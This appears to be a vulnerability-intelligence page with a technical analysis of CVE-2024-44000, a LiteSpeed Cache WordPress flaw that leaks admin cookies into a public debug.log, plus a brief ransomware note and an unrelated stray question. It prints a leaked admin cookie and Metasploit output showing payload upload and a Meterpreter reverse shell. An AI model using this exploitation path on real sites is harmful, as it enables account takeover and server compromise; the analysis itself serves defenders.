Activity Feed
- Government or Industry Alert (https://www.cisa.gov/news-events/alerts/2024/09/10/cisa-adds-four-known-exploited-vulnerabilities-catalog)
- Government or Industry Alert (https://www.cisa.gov/news-events/alerts/2024/09/10/cisa-adds-four-known-exploited-vulnerabilities-catalog)
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- Government or Industry Alert (https://www.cisa.gov/news-events/alerts/2024/08/28/cisa-adds-one-known-exploited-vulnerability-catalog)
- Government or Industry Alert (https://www.cisa.gov/news-events/alerts/2024/09/03/cisa-adds-three-known-exploited-vulnerabilities-catalog)
- Government or Industry Alert (https://www.cisa.gov/news-events/alerts/2024/09/03/cisa-adds-three-known-exploited-vulnerabilities-catalog)
- Government or Industry Alert (https://www.cisa.gov/news-events/alerts/2024/09/03/cisa-adds-three-known-exploited-vulnerabilities-catalog)
Technical Analysis
CVE-2024-44000 is an unauthenticated account takeover vulnerability in LiteSpeed Cache, a Wordpress plugin that currently has around 6 million active installations. In LiteSpeed Cache versions prior to 6.5.0.1, when and only when the Debug Logging feature is enabled, the plugin will log cookies from HTTP traffic including valid admin cookies to the /wp-content/debug.log endpoint which is accessible without authentication.
The Debug Logging feature in the plugin is not enabled by default. Running a production wordpress site with debug logging enabled is probably not something someone would do intentionally however with 6 million active installations I’m sure it’s happening. Here is an excerpt from a vulnerable instance’s debug.log where an admin cookie can be found:
09/11/24 21:32:40.561 [192.168.65.1:20112 1 zXo] 💓 ------POST HTTP/1.1 /wp-admin/update.php ? action=upload-plugin 09/11/24 21:32:40.561 [192.168.65.1:20112 1 zXo] User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit... 09/11/24 21:32:40.561 [192.168.65.1:20112 1 zXo] Accept: 09/11/24 21:32:40.561 [192.168.65.1:20112 1 zXo] Accept Encoding: 09/11/24 21:32:40.561 [192.168.65.1:20112 1 zXo] Cookie: wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1726261494%7Cftvy2vH8dTLXjkbZqNg6PU9u7RkI89U1qYfpsvqSPb3%7C8d04a7bea4697a96e4259346dc07654a081597b5484fb91df2a883c72f69f49d; wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1726261494%7Cftvy2vH8dTLXjkbZqNg6PU9u7RkI89U1qYfpsvqSPb3%7Cb4fb6a316b94520cb51847f71fed25da55d1bcbe8295870dbc6eaa6282654c3b 09/11/24 21:32:40.561 [192.168.65.1:20112 1 zXo] X-LSCACHE: false [11-Sep-2024 21:32:40 UTC] PHP Deprecated: Creation of dynamic property PieRegister::$admin_path is deprecated in /var/www/html/wp-content/plugins/pie-register/classes/base.php on line 19
A CVSS score of 7.5 has been given to the CVE, which is on the lower side for a vulnerability which can result in Remote Code Execution on the target system, however given the non-default config necessary to exploit, it makes more sense. If an attacker finds an Admin cookie in the debug.log, they can use that to upload a malicious plugin containing a PHP payload. This exploitation path can be seen in action through a demonstration of the metasploit module:
msf6 exploit(multi/http/wp_litespeed_cookie_theft) > run [*] Started reverse TCP handler on 192.168.1.67:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] One or more potential admin cookies were found [+] The target is vulnerable. Found and tested valid admin cookie, we can upload and execute a payload [*] Preparing payload... [*] Uploading payload... [*] Executing the payload at /wp-content/plugins/qSNzhabMTP/OiDynMUetY.php... [*] Sending stage (39927 bytes) to 192.168.1.67 [+] Deleted OiDynMUetY.php [+] Deleted qSNzhabMTP.php [+] Deleted ../qSNzhabMTP [*] Meterpreter session 7 opened (192.168.1.67:4444 -> 192.168.1.67:64935) at 2024-09-11 23:18:14 -0700 meterpreter > getuid Server username: www-data meterpreter > sysinfo Computer : 29292f368fe3 OS : Linux 29292f368fe3 6.10.4-linuxkit #1 SMP PREEMPT_DYNAMIC Mon Aug 12 08:48:58 UTC 2024 x86_64 Meterpreter : php/linux
The adoption of the patch in version 6.5.0.1 has been fairly steady since its release on September 4th 2024. Version 6.5.0.2 was released on September 6th, 2024 and since the release of 6.5.0.1 the plugin itself (irrespective of patch level) has been downloaded approximately 4,986,014 times. So there’s definitely over 1 million instances out there that could be vulnerable if Debug Logging is enabled. It should also be noted that patching will purge the /wp-content/debug.log so you don’t need to worry about removing it manually.
Technical Analysis
Many reports have been made of the Akira and/or Fog ransomware group abusing this vulnerability. In this blog: https://arcticwolf.com/resources/blog/arctic-wolf-observes-akira-ransomware-campaign-targeting-sonicwall-sslvpn-accounts/ the abuse of the vulnerability by the Akira group is mentioned.
does the same cpp code work for the windows 1507 ver?